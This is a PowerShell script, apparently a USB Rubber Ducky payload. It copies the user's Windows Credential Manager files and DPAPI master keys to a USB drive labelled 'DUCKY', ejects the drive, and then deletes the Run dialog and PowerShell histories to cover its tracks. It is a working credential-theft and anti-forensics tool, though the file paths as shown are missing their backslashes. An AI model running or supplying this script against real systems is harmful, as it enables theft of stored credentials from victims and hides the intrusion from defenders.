1. # Variables
2. $drive = (Get-Volume -FileSystemLabel 'DUCKY').DriveLetter
3. $userProfile = $Env:UserProfile
4.  
5. # Get the credential files
6. $credentialFiles = @(Get-ChildItem -Force "${userProfile}AppDataLocalMicrosoftCredentials")
7.  
8. # Get the first credential file for now
9. $credentialFileName = $credentialFiles[0].Name
10. $credentialFilePath = $credentialFiles[0].FullName
11.  
12. # Copy to ducky
13. Copy-Item $credentialFilePath "${drive}:${credentialFileName}"
14.  
15. # Get the gUIDMasterKey
16. $protectFolder = (Get-ChildItem -Directory -Force "${userProfile}AppDataRoamingMicrosoftProtect").FullName
17.  
18. # Copy master key to ducky
19. Get-ChildItem -Force -Recurse $protectFolder | ForEach-Object {
20.     $fileName = $_.Name
21.     $filePath = $_.FullName
22.     Copy-Item $filePath "${drive}:${fileName}"
23. }
24.  
25. # Eject
26. $driveEject = New-Object -ComObject Shell.Application
27. $driveEject.Namespace(17).ParseName("${drive}:").InvokeVerb("Eject")
28.  
29. # Cleanup traces
30.  
31. # Delete run box history
32. reg.exe delete HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerRunMRU /va /f
33.  
34. # Delete Powershell history
35. Remove-Item (Get-PSreadlineOption).HistorySavePath
36.  
37. exit